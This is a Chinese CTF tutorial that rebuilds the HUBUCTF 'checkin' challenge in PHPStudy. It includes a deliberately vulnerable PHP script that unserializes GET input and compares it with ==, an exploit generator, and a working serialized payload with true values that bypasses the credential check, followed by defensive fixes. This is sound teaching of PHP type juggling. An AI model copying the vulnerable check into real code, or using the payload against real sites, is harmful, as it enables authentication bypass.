别再死记硬背payload了!用PHPStudy本地复现HUBUCTF checkin题,理解反序列化与弱比较
从零构建PHP反序列化靶场:用PHPStudy实战HUBUCTF checkin漏洞
在CTF竞赛中,PHP反序列化漏洞一直是高频考点,但很多选手停留在"背payload"的阶段。本文将带你用PHPStudy在本地完整复现HUBUCTF checkin题目环境,通过动手实践深入理解弱类型比较与反序列化的致命组合。
1. 环境搭建与漏洞原理剖析
首先需要准备以下工具:
- PHPStudy 8.1(集成Apache+PHP环境)
- Visual Studio Code(或其他代码编辑器)
- Postman(用于发送HTTP请求)
安装PHPStudy后,在www目录下创建checkin文件夹,这是我们的靶场根目录。关键是要理解题目中的核心漏洞点:
if ($data_unserialize['username']==$username && $data_unserialize['password']==$password) { // 授予flag }这里的双等号==是PHP的松散比较运算符,它会尝试自动类型转换。结合题目提示flag.php已经修改了$username和$password的值,我们无法直接知道这两个变量的具体内容。但通过弱类型比较的特性,可以绕过这个限制。
2. 完整靶场代码实现
在checkin目录下创建三个文件:
index.php
<?php include("flag.php"); if(isset($_GET['info'])){ $data_unserialize = unserialize($_GET['info']); if ($data_unserialize['username']==$username && $data_unserialize['password']==$password) { echo "恭喜获得flag: ".$flag; } else { echo "验证失败"; } } else { highlight_file(__FILE__); } ?>flag.php
<?php $username = "admin"; // 实际题目中这个值会被修改 $password = "secret123"; // 实际题目中这个值会被修改 $flag = "flag{this_is_your_flag}"; ?>exp.php
<?php $info = array( 'username'=>true, 'password'=>true ); echo "Payload: ".serialize($info); ?>这个模拟环境完全还原了比赛场景。关键点在于:
- flag.php定义了$username和$password,但实际题目会修改这些值
- 反序列化后的数组与这些变量进行弱比较
- 任何非空字符串与true比较都会返回true
3. 漏洞利用实战演示
启动PHPStudy服务后,访问http://localhost/checkin/exp.php会生成payload:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}将这个payload通过GET参数传递给index.php:
http://localhost/checkin/index.php?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}服务器会返回flag内容。这是因为:
| 比较表达式 | 结果 | 原理 |
|---|---|---|
| true == "admin" | true | 非空字符串与true比较 |
| true == "secret123" | true | 同上 |
| true == 1 | true | 数字1与true比较 |
| true == "1" | true | 字符串"1"与true比较 |
这种利用方式不依赖于具体的用户名和密码值,只要保证反序列化后的字段值为true即可。
4. 深度防御方案
要修复这类漏洞,开发者可以采取以下措施:
- 严格比较运算符
// 使用===代替== if ($data_unserialize['username']===$username && $data_unserialize['password']===$password)- 类型检查
if (is_string($data_unserialize['username']) && is_string($data_unserialize['password']) && $data_unserialize['username'] === $username && $data_unserialize['password'] === $password)- 反序列化白名单
function safe_unserialize($input) { $allowed_classes = ['SafeClass']; return unserialize($input, ['allowed_classes' => $allowed_classes]); }- 输入验证
if (!preg_match('/^[a-zA-Z0-9_]+$/', $_GET['info'])) { die('Invalid input'); }5. 拓展实验与思考
为了加深理解,建议尝试以下实验:
修改flag.php中的$username和$password值为不同组合:
- 空字符串""
- 数字0
- 字符串"0"
- 数组[]
测试各种payload的效果:
// 测试用例 $test_cases = [ ['username'=>1, 'password'=>1], ['username'=>[], 'password'=>[]], ['username'=>"0", 'password'=>"0"], ['username'=>new stdClass(), 'password'=>new stdClass()] ];- 使用debug_zval_dump()查看变量内部表示:
debug_zval_dump($username); debug_zval_dump($data_unserialize['username']);通过本地的反复实验,你会发现PHP类型转换的许多有趣特性,这些知识对CTF比赛和实际安全审计都大有裨益。记住,理解原理比记住payload更重要——这才是本文希望传达的核心价值。
